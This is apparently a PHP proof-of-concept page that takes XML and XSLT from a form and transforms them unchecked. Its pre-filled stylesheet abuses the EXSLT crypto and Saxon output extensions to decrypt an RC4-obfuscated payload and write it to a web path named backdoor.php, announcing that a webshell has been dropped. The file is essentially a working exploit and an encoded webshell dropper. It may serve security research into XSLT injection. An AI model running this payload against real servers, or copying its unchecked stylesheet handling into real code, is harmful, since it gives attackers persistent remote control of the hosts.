
<?php

// Get parameters
$action = $_POST['action'];
$xml = $_POST['xml'];
$xsl = $_POST['xsl'];

print "<html><body>";
if ($action == "transform") {

	print "<h2>Ready to transform ...</h2><br/>";

	# LOAD XML FILE 
	$xmldom = new DOMDocument(); 
	print "XML: <pre>".htmlentities($xml)."</pre><br/>";
	$xmldom->loadXML($xml); 

	# LOAD XSLT FILE 
	$xsldom = new DOMDocument(); 
	print "XSL: <pre>".htmlentities($xsl)."</pre><br/>";
	$xsldom->loadXML($xsl); // Content of $xXsl may be untrusted !

	# START XSLT 
	$xslproc = new XSLTProcessor(); 
	$xslproc->importStylesheet($xsldom);

	# TRANSFORM & PRINT 
	$output = $xslproc->transformToXML($xmldom); // File creation !
	print "Output: <pre>".htmlentities($output)."</pre><br/>";

} else {

	# DISPLAY A PRE-FILLED FORM
	print "<h1>Hello!</h1><h2>You just have to click on submit() ...</h2>";
	print "Consider modifying the output path (<i>/var/www/xxx/backdoor.php</i>) in the XSL<br/><br/>";
	print "<form method='post'>";
	print "XML document:<br/>";
	print "<textarea name='xml' rows='3' cols='130'><foobar/></textarea><br/><br/>";
	print "XSLT code:<br/>";
	print "<textarea name='xsl' rows='20' cols='130'>";
print <<<XSLT
<xsl:stylesheet
	version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:cry="http://exslt.org/crypto"	
	xmlns:sax="http://icl.com/saxon"
	extension-element-prefixes="cry sax">

	<xsl:template match="/">
		<sax:output href="/var/www/xxx/backdoor.php" method="text">
		<xsl:value-of select="cry:rc4_decrypt('simple_demo', '0262ee34196ae2df1ab850c1705ee0c38dc6ae42bbeecf140dea99675fb35539a4dcbeaf5c2e6a6cae679843dbf3650275a6be07464047dc17eff2661b8f065f0ae3abcd3b33e9fd3c48a36f2201ae65e093fa45b0a1b55cd408ec815a8dada050b8881b99e957704dc5f17208d105966680a26f')"/>
		</sax:output>
		<xsl:text>A webshell have been dropped</xsl:text>
	</xsl:template>

</xsl:stylesheet>
XSLT;
	print "</textarea><br/><br/>";
	print "<input type='hidden' name='action' value='transform'/>";
	print "<input type='submit'/></form>";

}
print "</body></html>";

?>


